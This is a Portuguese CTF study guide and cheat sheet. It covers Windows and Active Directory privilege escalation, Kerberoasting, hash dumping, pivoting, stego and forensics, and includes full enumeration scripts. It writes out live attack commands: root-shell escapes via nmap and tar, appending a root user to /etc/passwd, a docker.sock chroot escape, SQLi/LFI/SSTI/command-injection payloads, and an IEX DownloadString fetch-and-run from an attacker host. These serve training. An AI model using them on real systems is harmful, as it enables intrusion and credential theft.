Watson / wesng	patches faltando: `systeminfo > si.txt` → `wes.py si.txt` (na Kali)
local_exploit_suggester	Metasploit: `run post/multi/recon/local_exploit_suggester`

Binários prontos no Kali: `/usr/share/peass/winpeas/`, `/usr/share/windows-resources/`, `/usr/share/powershell-empire/` (PowerUp).

8.2 Manual

```
whoami /all                       # usuário, grupos, PRIVILÉGIOS
systeminfo                        # versão/build/hotfixes
net user ; net localgroup administrators
cmdkey /list                      # credenciais salvas
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v '""'
icacls "C:\Program Files\App\app.exe"      # (F) ou (M) para seu grupo = gravável
schtasks /query /fo LIST /v | findstr /i "TaskName Run"
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
findstr /si password *.txt *.xml *.ini *.config
netstat -ano | findstr LISTENING
```

8.3 Explorando

Achado	Exploração
SeImpersonatePrivilege	`PrintSpoofer64.exe -i -c cmd` / `GodPotato.exe -cmd "cmd /c whoami"` / `JuicyPotatoNG.exe` - muito comum em contas de IIS/MSSQL
SeBackupPrivilege	`reg save HKLM\SAM sam` + `reg save HKLM\SYSTEM sys` → Kali: `secretsdump.py -sam sam -system sys LOCAL` → PtH
AlwaysInstallElevated	`msiexec /quiet /qn /i C:\Temp\rev.msi`
Serviço com binário gravável	troca o exe pelo do msfvenom (`-f exe-service`) → `sc stop X & sc start X`
SERVICE_CHANGE_CONFIG	`sc config X binpath= "C:\Temp\rev.exe"` → `sc start X`
Unquoted path `C:\Program Files\My App\a.exe`	plantar `C:\Program Files\My.exe` (se a pasta for gravável)
cmdkey com credencial	`runas /savecred /user:admin "C:\Temp\rev.exe"`
AutoLogon / unattend.xml	senha em texto → `evil-winrm` / `psexec.py`
Admin com UAC	`fodhelper` bypass / msf `exploit/windows/local/bypassuac_fodhelper`

9. Active Directory (se o CTF tiver domínio)

```
# 1. Usuários válidos sem credencial
kerbrute userenum -d dominio.local --dc $DC /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
nxc smb $DC -u '' -p '' --rid-brute ; nxc smb $DC -u guest -p '' --rid-brute
# 2. AS-REP Roasting (contas sem pré-autenticação Kerberos)
GetNPUsers.py dominio.local/ -usersfile users.txt -no-pass -dc-ip $DC -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# 3. Com 1 credencial: Kerberoasting
GetUserSPNs.py dominio.local/user:senha -dc-ip $DC -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Mapear caminho até Domain Admin
bloodhound-python -u user -p senha -d dominio.local -ns $DC -c All --zip
#   importe o zip no BloodHound → "Shortest Path to Domain Admins"
# 5. Movimentação / execução
nxc smb $IP -u user -p senha               # (Pwn3d!) = admin local
psexec.py dominio/user:senha@$IP ; wmiexec.py ... ; evil-winrm -i $IP -u user -H <NT>
# 6. Dump
secretsdump.py dominio/admin:senha@$DC -just-dc-ntlm
nxc smb $IP -u admin -p senha --sam --lsa
```

NetExec (nxc) - resumo das flags mais usadas: `-u/-p/-H` (user/senha/hash), `-d` domínio, `--local-auth`, `--shares`, `--users`, `--rid-brute`, `--pass-pol`, `--sam`, `--lsa`, `--ntds`, `-x cmd`/`-X ps`, `-M módulo` (`spider_plus`, `gpp_password`, `lsassy`), `--continue-on-success`, `--no-bruteforce`.

> ATENÇÃO: Responder (`sudo responder -I tun0`) e ataques de relay envenenam a rede de todo mundo. Em CTF compartilhado, só use se as regras permitirem.

10. Pivoting e port forwarding

```
# Serviço só em 127.0.0.1 do alvo (ex.: porta 8080) → acessa como localhost:8080 na Kali
ssh -L 8080:127.0.0.1:8080 user@$IP
# Proxy SOCKS dinâmico por SSH → qualquer host da rede interna
ssh -D 1080 user@$IP     ;  proxychains nmap -sT -Pn 172.16.0.5   (socks5 127.0.0.1 1080 em ↵
    /etc/proxychains4.conf)
# Sem SSH: chisel
./chisel server -p 8000 --reverse                        # Kali
./chisel client <KALI>:8000 R:8080:127.0.0.1:8080        # alvo: porta única
./chisel client <KALI>:8000 R:socks                      # alvo: SOCKS na Kali :1080
# ligolo-ng (cria interface; rede interna vira "rota local", sem proxychains)
# Kali: ./proxy -selfcert   |  alvo: ./agent -connect <KALI>:11601 -ignore-cert
# no proxy: session → start ; Kali: sudo ip route add 172.16.0.0/24 dev ligolo
# Meterpreter
portfwd add -l 3389 -p 3389 -r 172.16.0.5 ; run autoroute -s 172.16.0.0/24
```

11. Misc de CTF (stego, crypto, forense, reversing)

Triagem de qualquer arquivo baixado

```
file arq ; exiftool arq ; strings -n 6 arq | grep -iE 'flag|ctf|key|pass'
binwalk arq ; binwalk -e arq            # arquivos escondidos dentro de outro
xxd arq | head                          # magic bytes (PNG 89504E47, ZIP 504B0304, PDF 25504446)
foremost -i arq -o out                  # carving
```

Esteganografia

Ferramenta	Uso
steghide	`steghide extract -sf img.jpg` (senha vazia primeiro)
stegseek	`stegseek img.jpg rockyou.txt` - brute do steghide em segundos
zsteg	`zsteg -a img.png` - LSB em PNG/BMP
stegsolve	planos de cor (`java -jar stegsolve.jar`)
exiftool	comentário/metadado com a flag
Áudio	Sonic Visualiser / Audacity → espectrograma
aperisolve.com	roda tudo isso online

Criptografia / encoding

- **CyberChef** - "Magic" detecta base64, hex, rot13, XOR... (a ferramenta nº 1 de CTF)
- **dcode.fr** - César, Vigenère, substituição, identificador de cifras
- **quipqiup.com** - substituição monoalfabética
- RSA fraco: RsaCtfTool `python3 RsaCtfTool.py --publickey key.pub --private` ; fatorar n: factordb.com
- Base: `echo x | base64 -d`, `xxd -r -p`, `base32 -d`, `tr 'A-Za-z' 'N-ZA-Mn-za-m'` (rot13)

Forense / rede

```
wireshark cap.pcap   # Statistics → Protocol Hierarchy / Conversations; File → Export Objects → HTTP
tshark -r cap.pcap -Y http.request -T fields -e http.host -e http.request.uri
tshark -r cap.pcap -qz follow,tcp,ascii,0
strings cap.pcap | grep -i flag
vol -f mem.raw windows.info ; windows.pslist ; windows.cmdline ; windows.filescan   # Volatility 3
```

Reversing / pwn básico

```
strings bin ; ltrace ./bin ; strace ./bin       # senha comparada em texto aparece no ltrace
ghidra                                           # decompilar (função main → strcmp)
gdb -q ./bin (com pwndbg/gef) ; checksec --file=./bin
# pwntools: from pwn import * ; p=remote('IP',PORTA) ; p.sendline(b'A'*72+p64(addr))
```

12. Correções nas minhas anotações

Pontos das minhas anotações de aula/lab que estavam errados ou incompletos:

Onde	O que está lá	Correção
aula 21/08 (GTFOBins)	`sudo nmap --interactive` → `!sh`	Só existe no nmap 2.02–5.21 (antigo). No Kali/Ubuntu atual use o método por script NSE: `TF=$(mktemp); echo 'os.execute("/bin/sh")' > $TF; sudo nmap --script=$TF`
aula 21/08	`tar` com sudo listado como "leitura de arquivos protegidos"	O comando com `--checkpoint-action=exec=/bin/sh` dá **shell root**, não só leitura
aula 21/08 (LinPEAS)	`curl -L github.com/... | sh`	Em CTF o alvo quase nunca tem internet. Baixe na Kali e sirva com `python3 -m http.server`. Repositório oficial agora é `peass-ng/PEASS-ng`
Metasploit	`bypass_uac` como comando do Meterpreter	Não existe esse comando. Bypass de UAC é módulo: `exploit/windows/local/bypassuac_fodhelper` (ou outro `bypassuac_*`)
Metasploit	`migrate` "bypass AV" e encoder `xor_dynamic -i 5` "para evasão"	`migrate` serve para estabilidade (sair de processo que vai morrer), trocar de arquitetura ou de sessão de usuário. Encoders não evadem AV/EDR moderno (assinatura do stager continua conhecida); servem para remover bad chars
HidricaNova (Webmin)	Falha atribuída a "container em rede isolada"	Em bridge padrão do Docker o container faz NAT de saída e normalmente alcança a Kali. Causa mais provável: o payload `cmd/unix/reverse_netcat` depende de um `nc` com `-e` que imagens mínimas não têm. Teste `cmd/unix/reverse_bash` ou `reverse_perl` antes de concluir que é rede (confirme com `curl http://<KALI>/teste` via injeção)
HidricaNova (Hydra)	"Correto" = inverter `-L`/`-P` no comando	Funciona, mas o certo é corrigir os nomes dos arquivos. Deixar `-L senhas` no writeup confunde quem lê
aula 04/09	"redireciona uma chamada RPC de volta" para PrintSpoofer	Ok como ideia; o pré-requisito que faltou anotar é **SeImpersonatePrivilege** (ou SeAssignPrimaryToken). Sem ele, Potato/PrintSpoofer não funcionam

Apêndice - código completo dos scripts

Copiar código de PDF quebra indentação: use os arquivos da pasta `scripts/`.

recon.sh

```
#!/usr/bin/env bash
# ==============================================================================
#  recon.sh - Recon automatizado para CTF (FIAP NEXT)
#  Uso: ./recon.sh <IP|host> [diretorio_saida]
#  Fases: ping -> all ports (rápido) -> -sV -sC nas abertas -> UDP top 20
#         -> searchsploit --nmap -> enum por serviço (HTTP/SMB/FTP/SNMP/NFS)
# ==============================================================================
set -uo pipefail

T="${1:-}"; OUT="${2:-recon_${1:-x}}"
[[ -z "$T" ]] && { echo "Uso: $0 <IP> [dir_saida]"; exit 1; }
mkdir -p "$OUT"; cd "$OUT" || exit 1

R='\033[1;31m'; G='\033[1;32m'; Y='\033[1;33m'; B='\033[1;34m'; N='\033[0m'
info(){ echo -e "${B}[*]${N} $*"; }
ok(){   echo -e "${G}[+]${N} $*"; }
warn(){ echo -e "${Y}[!]${N} $*"; }
has(){  command -v "$1" >/dev/null 2>&1; }

WL_DIR="/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt"
[[ -f "$WL_DIR" ]] || WL_DIR="/usr/share/wordlists/dirb/common.txt"
SUDO=""; [[ $EUID -ne 0 ]] && SUDO="sudo"

# ------------------------------------------------------------------ 1. host up
info "Alvo: $T  |  saída: $(pwd)"
if ping -c1 -W2 "$T" >/dev/null 2>&1; then ok "Host responde ICMP"
else warn "Sem ICMP - seguindo com -Pn (muito CTF bloqueia ping)"; fi

# ------------------------------------------------------------------ 2. all ports
info "Fase 1: todas as portas TCP (rápido)"
$SUDO nmap -Pn -p- --min-rate 5000 -T4 --open -oA 01_allports "$T" >/dev/null
PORTS=$(grep -oP '\d+/open' 01_allports.gnmap | cut -d/ -f1 | paste -sd, -)
[[ -z "$PORTS" ]] && { warn "Nenhuma porta aberta encontrada."; exit 0; }
ok "Portas abertas: $PORTS"

# ------------------------------------------------------------------ 3. detalhado
info "Fase 2: -sV -sC -O nas portas abertas"
$SUDO nmap -Pn -sV -sC -O -p "$PORTS" -oA 02_detail "$T" >/dev/null
grep -E '^[0-9]+/tcp' 02_detail.nmap | sed 's/^/    /'

info "Fase 3: NSE vuln (em background - pode demorar)"
( $SUDO nmap -Pn -sV --script vuln -p "$PORTS" -oN 03_vuln.nmap "$T" >/dev/null 2>&1 \
  && ok "03_vuln.nmap pronto" ) &

info "Fase 4: UDP top 20 (em background)"
( $SUDO nmap -Pn -sU --top-ports 20 --open -oN 04_udp.nmap "$T" >/dev/null 2>&1 \
  && ok "04_udp.nmap pronto" ) &

# ------------------------------------------------------------------ 4. CVE/exploits
if has searchsploit; then
  info "Buscando exploits públicos (searchsploit --nmap)"
  searchsploit --nmap 02_detail.xml 2>/dev/null | tee 05_searchsploit.txt | grep -v '^$' | head -40
else warn "searchsploit não instalado (apt install exploitdb)"; fi
if [[ -f ../cve_lookup.py || -f "$(dirname "$0")/cve_lookup.py" ]]; then
  CVE_PY="$(dirname "$0")/cve_lookup.py"; [[ -f ../cve_lookup.py ]] && CVE_PY=../cve_lookup.py
  info "Consulta NVD por versão (cve_lookup.py)"
  python3 "$CVE_PY" --nmap 02_detail.xml --max 5 | tee 06_nvd.txt
fi

# ------------------------------------------------------------------ 5. por serviço
open(){ echo ",$PORTS," | grep -q ",$1,"; }

# HTTP(S) - qualquer porta que o nmap marcou como http
HTTP_PORTS=$(grep -E '^[0-9]+/tcp +open +(ssl/)?https?' 02_detail.nmap | cut -d/ -f1)
for P in $HTTP_PORTS; do
  PROTO=http; grep -qE "^$P/tcp +open +(ssl/|https)" 02_detail.nmap && PROTO=https
  U="$PROTO://$T:$P"
  info "Web: $U"
  curl -skI "$U" | tee "10_headers_$P.txt" | grep -iE 'server|x-powered|set-cookie|location'
  curl -sk "$U/robots.txt" -o "11_robots_$P.txt" && grep -iE 'disallow|allow' "11_robots_$P.txt"
```

```
  has whatweb && whatweb -a 3 "$U" | tee "12_whatweb_$P.txt"
  if has feroxbuster; then
    feroxbuster -u "$U" -w "$WL_DIR" -x php,txt,html,bak,zip -k -q -n -o "13_dirs_$P.txt" >/dev/null 2>&1 &
  elif has gobuster; then
    gobuster dir -u "$U" -w "$WL_DIR" -x php,txt,html,bak,zip -k -q -o "13_dirs_$P.txt" >/dev/null 2>&1 &
  fi
done

# SMB
if open 445 || open 139; then
  info "SMB: null session / shares / users"
  has nxc && { nxc smb "$T" -u '' -p '' --shares 2>/dev/null; nxc smb "$T" -u 'guest' -p '' --shares ↵
    2>/dev/null; } | tee 20_smb_nxc.txt
  has smbclient && smbclient -L "//$T/" -N 2>/dev/null | tee 21_smbclient.txt
  has enum4linux-ng && enum4linux-ng -A "$T" -oY 22_enum4linux >/dev/null 2>&1 &
  $SUDO nmap -Pn -p445 --script smb-vuln-ms17-010,smb-protocols "$T" -oN 23_smb_vuln.nmap >/dev/null
  grep -iE 'VULNERABLE|SMBv1|dialects' -A2 23_smb_vuln.nmap
fi

# FTP
if open 21; then
  info "FTP: teste anonymous"
  if curl -s --max-time 8 "ftp://anonymous:anonymous@$T/" -o 30_ftp_ls.txt; then
    ok "FTP anônimo ACEITO:"; cat 30_ftp_ls.txt
    has wget && wget -q -m --no-passive "ftp://anonymous:anonymous@$T" -P 31_ftp_dump 2>/dev/null
  else warn "FTP anônimo negado"; fi
fi

# SNMP (UDP 161)
if has snmpwalk; then
  info "SNMP: community 'public'"
  timeout 15 snmpwalk -v2c -c public "$T" 1.3.6.1.2.1.1 2>/dev/null | tee 40_snmp.txt | head -5
fi

# NFS
if open 2049 || open 111; then
  info "NFS: exports"
  has showmount && showmount -e "$T" | tee 50_nfs.txt
fi

# LDAP / Kerberos -> provável DC
if open 88 || open 389; then
  warn "Kerberos/LDAP abertos -> provável Domain Controller"
  $SUDO nmap -Pn -p389 --script ldap-rootdse "$T" -oN 60_ldap.nmap >/dev/null
  grep -iE 'defaultNamingContext|dnsHostName' 60_ldap.nmap
fi

wait
ok "Recon finalizado. Arquivos em: $(pwd)"
ls -1
```

web_enum.sh

```
#!/usr/bin/env bash
# ============================================================================
#  web_enum.sh - Enum web rápida para CTF
#  Uso: ./web_enum.sh http://10.10.10.10[:porta] [dominio.ctf]
# ============================================================================
U="${1%/}"; D="${2:-}"
[[ -z "$U" ]] && { echo "Uso: $0 <url> [dominio_para_vhost]"; exit 1; }
B='\033[1;34m'; R='\033[1;31m'; N='\033[0m'
h(){ echo -e "\n${B}== $* ==${N}"; }
has(){ command -v "$1" >/dev/null 2>&1; }
SL=/usr/share/seclists
DIRS=$SL/Discovery/Web-Content/raft-medium-directories.txt; [[ -f $DIRS ]] || ↵
    DIRS=/usr/share/wordlists/dirb/common.txt
FILES=$SL/Discovery/Web-Content/raft-medium-files.txt
VH=$SL/Discovery/DNS/subdomains-top1million-5000.txt

h "Headers / tecnologia"
curl -skI "$U" | grep -iE '^(server|x-powered-by|set-cookie|location|x-generator|via)'
has whatweb && whatweb -a 3 "$U" 2>/dev/null

h "Arquivos clássicos"
for p in robots.txt sitemap.xml .git/HEAD .env .DS_Store backup.zip index.php.bak \
         phpinfo.php server-status admin/ login.php wp-login.php .svn/entries crossdomain.xml; do
  c=$(curl -sk -o /dev/null -w '%{http_code}' "$U/$p")
  [[ "$c" =~ ^(200|301|302|401|403)$ ]] && echo -e "  [$c] $U/$p"
done
[[ $(curl -sk "$U/.git/HEAD") == ref:* ]] && echo -e "${R}[!!!] .git exposto -> git-dumper $U/.git ./repo${N}"

h "Comentários e JS no HTML"
curl -sk "$U" | grep -oE '<!--.*?-->' | head -15
curl -sk "$U" | grep -oE '(src|href)="[^"]+\.js[^"]*"' | head -15

h "Diretórios (ffuf)"
if has ffuf; then
  ffuf -u "$U/FUZZ" -w "$DIRS" -e .php,.txt,.html,.bak -mc 200,204,301,302,307,401,403 \
       -fc 404 -t 60 -s -o ffuf_dirs.json -of json 2>/dev/null
  echo "(ffuf_dirs.json)  - se tudo der 200, filtre o tamanho: -fs <tamanho>"
elif has gobuster; then
  gobuster dir -u "$U" -w "$DIRS" -x php,txt,html,bak -k -t 50 -q
fi

if [[ -n "$D" ]] && has ffuf; then
  h "VHOSTs em $D"
  BASE=$(curl -sk -o /dev/null -w '%{size_download}' -H "Host: nope.$D" "$U")
  ffuf -u "$U" -H "Host: FUZZ.$D" -w "$VH" -fs "$BASE" -t 60 -s
  echo "Achou? -> echo 'IP sub.$D' | sudo tee -a /etc/hosts"
fi

h "Próximos passos manuais"
cat <<'EOF'
  - Parâmetros: ffuf -u 'URL/page.php?FUZZ=1' -w burp-parameter-names.txt -fs <tam>
  - SQLi:  sqlmap -u 'URL?id=1' --batch --dbs   |  sqlmap -r req.txt --batch
  - LFI:   ?page=../../../../etc/passwd  |  php://filter/convert.base64-encode/resource=index.php
  - SSTI:  {{7*7}}  ${7*7}  <%= 7*7 %>   (49 = vulnerável)
  - CMDi:  ;id  |id  `id`  $(id)  %0aid
  - CMS:   wpscan --url URL -e ap,u  |  droopescan scan drupal -u URL
EOF
```

cve_lookup.py

```
#!/usr/bin/env python3
"""
cve_lookup.py - Busca CVEs no NVD (API 2.0) a partir de produto/versão
ou direto do XML do nmap (-oX / -oA). Só stdlib, roda em qualquer Kali.

Uso:
  python3 cve_lookup.py "vsftpd 2.3.4"
  python3 cve_lookup.py "Apache httpd 2.4.49" --max 10
  python3 cve_lookup.py --nmap 02_detail.xml
  python3 cve_lookup.py "webmin 1.910" --exploit        # + searchsploit
  NVD_API_KEY=xxxx python3 cve_lookup.py ...            # rate limit maior

Sem chave: NVD permite ~5 requisições / 30s (o script espera sozinho).
"""
import argparse, json, os, shutil, subprocess, sys, time
import urllib.parse, urllib.request
import xml.etree.ElementTree as ET

NVD = "https://services.nvd.nist.gov/rest/json/cves/2.0"
C = {"r": "\033[1;31m", "y": "\033[1;33m", "g": "\033[1;32m", "b": "\033[1;34m", "n": "\033[0m"}


def sev_color(score):
    if score is None:
        return C["n"]
    return C["r"] if score >= 9 else C["y"] if score >= 7 else C["g"]


def nvd_search(keyword, max_results=8):
    params = {"keywordSearch": keyword, "resultsPerPage": 50}
    url = NVD + "?" + urllib.parse.urlencode(params)
    req = urllib.request.Request(url, headers={"User-Agent": "cve-lookup-ctf"})
    key = os.environ.get("NVD_API_KEY")
    if key:
        req.add_header("apiKey", key)
    try:
        with urllib.request.urlopen(req, timeout=30) as r:
            data = json.load(r)
    except Exception as e:  # sem internet / rate limit
        print(f"  {C['y']}[!] NVD indisponível ({e}). Use searchsploit offline.{C['n']}")
        return []
    out = []
    for item in data.get("vulnerabilities", []):
        cve = item["cve"]
        m = cve.get("metrics", {})
        score, vector = None, ""
        for k in ("cvssMetricV31", "cvssMetricV30", "cvssMetricV2"):
            if m.get(k):
                d = m[k][0]["cvssData"]
                score, vector = d.get("baseScore"), d.get("vectorString", "")
                break
        desc = next((d["value"] for d in cve.get("descriptions", []) if d["lang"] == "en"), "")
        kev = "cisaExploitAdd" in cve  # está no catálogo KEV = explorado de verdade
        out.append({"id": cve["id"], "score": score, "vector": vector, "desc": desc, "kev": kev})
    # ordena: KEV primeiro, depois maior CVSS
    out.sort(key=lambda x: (x["kev"], x["score"] or 0), reverse=True)
    return out[:max_results]


def searchsploit(term):
    if not shutil.which("searchsploit"):
        print(f"  {C['y']}[!] searchsploit não instalado{C['n']}")
        return
    res = subprocess.run(["searchsploit", "--disable-colour", term], capture_output=True, text=True)
    lines = [l for l in res.stdout.splitlines() if "|" in l and "Exploit Title" not in l]
    if lines:
        print(f"  {C['b']}Exploit-DB:{C['n']}")
        for l in lines[:10]:
            print("    " + l.strip())
    else:
```

```
        print("  Exploit-DB: nada para esse termo (tente encurtar a versão)")


# nomes que o nmap reporta diferente do NVD
ALIASES = {
    "MiniServ": "Webmin", "Apache httpd": "Apache HTTP Server", "Microsoft IIS httpd": "Microsoft IIS",
    "OpenSSH": "OpenSSH", "ProFTPD": "ProFTPD", "Apache Tomcat": "Apache Tomcat",
    "nginx": "nginx", "Samba smbd": "Samba", "MySQL": "MySQL", "Werkzeug httpd": "Werkzeug",
}


def from_nmap(xml_path):
    """Extrai 'produto versão' de cada porta do XML do nmap."""
    terms = []
    root = ET.parse(xml_path).getroot()
    for port in root.iter("port"):
        st = port.find("state")
        svc = port.find("service")
        if st is None or st.get("state") != "open" or svc is None:
            continue
        prod, ver = svc.get("product", ""), svc.get("version", "")
        if prod and ver:
            # pega só major.minor[.patch] - NVD casa melhor
            ver = ver.split()[0]
            prod = ALIASES.get(prod, prod)
            terms.append((port.get("portid"), f"{prod} {ver}"))
    return terms


def show(term, max_results, exploit):
    print(f"\n{C['b']}[*] {term}{C['n']}")
    for v in nvd_search(term, max_results):
        col = sev_color(v["score"])
        kev = f" {C['r']}[KEV - explorado ativamente]{C['n']}" if v["kev"] else ""
        print(f"  {col}{v['id']:<16} CVSS {v['score']}{C['n']}{kev}")
        print(f"      {v['desc'][:180]}")
    if exploit:
        searchsploit(term)


def main():
    ap = argparse.ArgumentParser(description="CVE lookup (NVD + searchsploit)")
    ap.add_argument("term", nargs="?", help='ex: "OpenSSH 7.2p2"')
    ap.add_argument("--nmap", help="XML do nmap (-oX/-oA)")
    ap.add_argument("--max", type=int, default=8)
    ap.add_argument("--exploit", action="store_true", help="também roda searchsploit")
    a = ap.parse_args()
    if not a.term and not a.nmap:
        ap.print_help(); sys.exit(1)
    jobs = [(None, a.term)] if a.term else from_nmap(a.nmap)
    if a.nmap and not jobs:
        print("Nenhum serviço com produto+versão no XML (rodou com -sV?)")
    for i, (port, term) in enumerate(jobs):
        if port:
            print(f"\n{C['g']}=== porta {port} ==={C['n']}", end="")
        show(term, a.max, a.exploit or bool(a.nmap))
        if i < len(jobs) - 1 and not os.environ.get("NVD_API_KEY"):
            time.sleep(6.5)  # respeita rate limit público


if __name__ == "__main__":
    main()
```

linux_privesc.sh

```
#!/usr/bin/env bash
# ================================================================================
#  linux_privesc.sh - Enum manual de privesc Linux (quando LinPEAS é pesado,
#  bloqueado, ou você quer entender O QUE está olhando).
#  Uso: bash linux_privesc.sh 2>/dev/null | tee enum.txt
#  Transferir: python3 -m http.server 80 (Kali)  ->  wget http://KALI/linux_privesc.sh
# ================================================================================
R='\033[1;31m'; Y='\033[1;33m'; G='\033[1;32m'; B='\033[1;34m'; N='\033[0m'
h(){ echo -e "\n${B}==================== $* ====================${N}"; }
hit(){ echo -e "${R}[!!!] $*${N}"; }
note(){ echo -e "${Y}[+] $*${N}"; }

# binários que o GTFOBins tem vetor de shell/leitura (lista enxuta, os mais vistos)
GTFO="aria2c|awk|base64|bash|busybox|cat|chmod|chown|cp|cpulimit|curl|dash|date|dd|diff|docker|ed|emacs|env|expe ↩
    ct|find|flock|gawk|gcc|gdb|git|grep|head|less|lua|make|man|more|mv|mysql|nano|nc|nice|nmap|node|openssl|perl ↩
    |php|pip|python|python2|python3|rsync|ruby|scp|sed|socat|sqlite3|ssh|strace|systemctl|tail|tar|taskset|tee|t ↩
    imeout|uniq|vi|vim|wget|xxd|zip|zsh|vagrant|sqlmap|journalctl|apt|apt-get|ftp|screen|tmux|watch|xargs|ld.so| ↩
    cut|nawk|jq|rvim|view"

h "IDENTIDADE"
id; hostname; echo "Kernel: $(uname -r)  Arch: $(uname -m)"
cat /etc/os-release 2>/dev/null | grep -E '^(PRETTY_NAME|VERSION_ID)'
id | grep -qE '\((docker|lxd|lxc|disk|adm|shadow|sudo|wheel|video)\)' && \
  hit "Grupo privilegiado: $(id | grep -oE '\((docker|lxd|lxc|disk|adm|shadow|sudo|wheel|video)\)' | tr '\n' ' ↩
    ')"

h "SUDO"
sudo -V 2>/dev/null | head -1
SL=$(sudo -n -l 2>/dev/null)
if [[ -n "$SL" ]]; then
  echo "$SL"
  echo "$SL" | grep -q NOPASSWD && hit "Tem NOPASSWD! Pesquise cada binário no GTFOBins (seção Sudo)"
  echo "$SL" | grep -qE 'env_keep.*LD_PRELOAD' && hit "LD_PRELOAD preservado -> shared object malicioso"
  echo "$SL" | grep -qE '\(ALL, ?!root\)' && hit "(ALL, !root) -> testar CVE-2019-14287: sudo -u#-1 <cmd>"
  echo "$SL" | grep -oE '/[^ ,]+' | grep -E "/($GTFO)$" | while read -r b; do hit "sudo GTFOBin: $b"; done
else
  note "sudo -l pede senha (rode manualmente se tiver a senha do user)"
fi
SV=$(sudo -V 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+(p[0-9]+)?')
[[ -n "$SV" ]] && note "sudo $SV  -> <1.9.5p2 = possível Baron Samedit (CVE-2021-3156) | <1.8.28 = ↩
    CVE-2019-14287"

h "SUID / SGID"
find / -perm -4000 -type f 2>/dev/null | tee /tmp/.suid | while read -r f; do
  b=$(basename "$f")
  if echo "$b" | grep -qxE "$GTFO"; then hit "SUID GTFOBin: $f"; else echo "    $f"; fi
done
grep -q pkexec /tmp/.suid && note "pkexec SUID -> checar PwnKit (CVE-2021-4034): pkexec --version (<0.120 ↩
    vulnerável)"
echo "--- SGID:"; find / -perm -2000 -type f 2>/dev/null | head -20

h "CAPABILITIES"
getcap -r / 2>/dev/null | while read -r l; do
  echo "$l" | grep -qE 'cap_setuid|cap_dac_read_search|cap_dac_override|cap_sys_admin|cap_sys_ptrace' \
    && hit "$l" || echo "    $l"
done

h "CRON / TIMERS"
cat /etc/crontab 2>/dev/null | grep -v '^#'
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ 2>/dev/null
crontab -l 2>/dev/null
systemctl list-timers --all 2>/dev/null | head -15
note "Processo escondido rodando como root? Use pspy64 (github.com/DominicBreuker/pspy)"
# scripts de cron que eu consigo escrever
grep -hoE '/[^ ]+\.(sh|py|pl)' /etc/crontab /etc/cron.d/* 2>/dev/null | sort -u | while read -r s; do
  [[ -w "$s" ]] && hit "Script de cron GRAVÁVEL: $s"
done

h "ARQUIVOS SENSÍVEIS GRAVÁVEIS / LEGÍVEIS"
[[ -w /etc/passwd ]] && hit "/etc/passwd GRAVÁVEL -> openssl passwd -1 senha; echo ↩
    'r00t:HASH:0:0::/root:/bin/bash' >> /etc/passwd"
[[ -r /etc/shadow ]] && hit "/etc/shadow LEGÍVEL -> unshadow + john"
[[ -w /etc/shadow ]] && hit "/etc/shadow GRAVÁVEL"
[[ -w /etc/sudoers ]] && hit "/etc/sudoers GRAVÁVEL"
ls -la /root 2>/dev/null && hit "/root listável!"
find / -writable -type f -not -path '/proc/*' -not -path '/sys/*' -not -path '/dev/*' \
     -not -path '/run/*' -not -path "$HOME/*" -not -path '/tmp/*' -not -path '/var/tmp/*' 2>/dev/null | head -25
```

```
h "PATH HIJACK"
echo "$PATH" | tr ':' '\n' | while read -r d; do [[ -w "$d" ]] && hit "Diretório do PATH gravável: $d"; done

h "CREDENCIAIS"
for f in ~/.bash_history ~/.zsh_history ~/.mysql_history ~/.viminfo; do [[ -s $f ]] && { note "$f"; tail -20 ↩
    "$f"; }; done
find / -name "*.kdbx" -o -name "id_rsa*" -o -name "*.pem" -o -name ".git-credentials" -o -name "wp-config.php" \
       -o -name ".env" -o -name "config.php" -o -name "*.ovpn" 2>/dev/null | grep -v '/proc/' | head -30
grep -rIilE 'pass(word)?\s*[=:]' /var/www /opt /etc /home 2>/dev/null | head -20
env | grep -iE 'pass|key|secret|token'

h "REDE / SERVIÇOS INTERNOS"
(ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null) | grep -E 'LISTEN|udp'
note "Porta só em 127.0.0.1? -> port forward: ssh -L 8000:127.0.0.1:PORTA user@alvo  (ou chisel)"

h "PROCESSOS ROOT"
ps -eo user,pid,cmd --sort=user 2>/dev/null | grep -E '^root' | grep -vE '\[|sshd|systemd|kworker' | head -25

h "CONTAINER / NFS"
[[ -f /.dockerenv ]] && hit "Dentro de container Docker"
grep -qa 'docker\|lxc' /proc/1/cgroup 2>/dev/null && note "cgroup indica container"
[[ -S /var/run/docker.sock ]] && hit "docker.sock exposto -> docker run -v /:/mnt --rm -it alpine chroot /mnt ↩
    sh"
grep -v '^#' /etc/exports 2>/dev/null | grep -q no_root_squash && hit "NFS no_root_squash em /etc/exports"

h "KERNEL - CANDIDATOS"
KV=$(uname -r | cut -d- -f1)
note "Kernel $KV - confira com linux-exploit-suggester (les.sh). Clássicos:"
echo "    DirtyCow CVE-2016-5195 (<4.8.3) | DirtyPipe CVE-2022-0847 (5.8 a 5.16.11)"
echo "    GameOverlay CVE-2023-2640/32629 (Ubuntu) | nf_tables CVE-2024-1086 (5.14-6.6)"
echo "    Kernel exploit é ÚLTIMO recurso: pode derrubar a máquina do CTF."

echo -e "\n${G}[OK] Fim. Linhas vermelhas = prioridade. Procure flag: find / -iname '*flag*' 2>/dev/null${N}"
```

win_privesc.ps1

```
# ================================================================================
#  win_privesc.ps1 - Enum rápido de privesc Windows (sem dependências)
#  Uso:  powershell -ep bypass -f win_privesc.ps1
#        IEX(New-Object Net.WebClient).DownloadString('http://KALI/win_privesc.ps1')
#  Evil-WinRM: upload win_privesc.ps1  ->  .\win_privesc.ps1
# ================================================================================
function H($t){ Write-Host "`n==================== $t ====================" -ForegroundColor Cyan }
function HIT($t){ Write-Host "[!!!] $t" -ForegroundColor Red }
function NOTE($t){ Write-Host "[+] $t" -ForegroundColor Yellow }

H "IDENTIDADE"
whoami; hostname
